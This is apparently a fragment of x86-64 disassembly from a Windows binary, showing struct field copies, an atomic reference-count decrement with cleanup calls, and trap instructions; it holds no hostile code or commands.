mov qword [r14 + 0x60], rax
mov word [r14 + 0x68], 1
movzx eax, byte [rbp + 0x620]
mov byte [rbp + 0x660], al
movaps xmm0, xmmword [rbp + 0x610]
movaps xmmword [rbp + 0x650], xmm0
mov qword [r14], rdi
mov rax, qword [rbp + 0x648]
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rdi
mov eax, dword [rbp + 0x8fc]
mov dword [r14 + 0x18], eax
mov eax, dword [rbp + 0x8f8]
mov dword [r14 + 0x1c], eax
mov eax, dword [rbp + 0x8f4]
mov dword [r14 + 0x20], eax
mov eax, dword [rbp + 0x8f0]
mov dword [r14 + 0x24], eax
movzx eax, word [rbp + 0x946]
mov word [r14 + 0x28], ax
movzx eax, word [rbp + 0x944]
mov word [r14 + 0x2a], ax
mov eax, dword [rbp + 0x8e8]
mov dword [r14 + 0x2c], eax
mov eax, dword [rbp + 0x8c8]
mov dword [r14 + 0x30], eax
mov eax, dword [rbp + 0x8c0]
mov dword [r14 + 0x34], eax
mov eax, dword [rbp + 0x8b8]
mov dword [r14 + 0x38], eax
mov eax, dword [rbp + 0x8ec]
mov dword [r14 + 0x3c], eax
movdqa xmm0, xmmword [rbp + 0x650]
movdqu xmmword [r14 + 0x40], xmm0
movzx eax, byte [rbp + 0x660]
mov byte [r14 + 0x50], al
mov eax, dword [rbp + 0x869]
mov ecx, dword [rbp + 0x86c]
mov dword [r14 + 0x51], eax
mov dword [r14 + 0x54], ecx
mov rax, qword [rbp + 0x640]
mov qword [rax + 8], r14
mov qword [rax], 3
mov rax, qword [rbp + 0xe8]
lock dec qword [rax]
jne 0x140046266
lea rcx, [rbp + 0xe8]
call fcn.140081770
mov rax, qword [rbp + 0x4b8]
lock dec qword [rax]
jne 0x140042be4
lea rcx, [rbp + 0x4b8]
call fcn.1400414c0
jmp 0x140042be4
xor r14d, r14d
mov rdi, qword [rbp + 0x938]
jmp 0x140046033
ud2
call fcn.14011f8c0
int3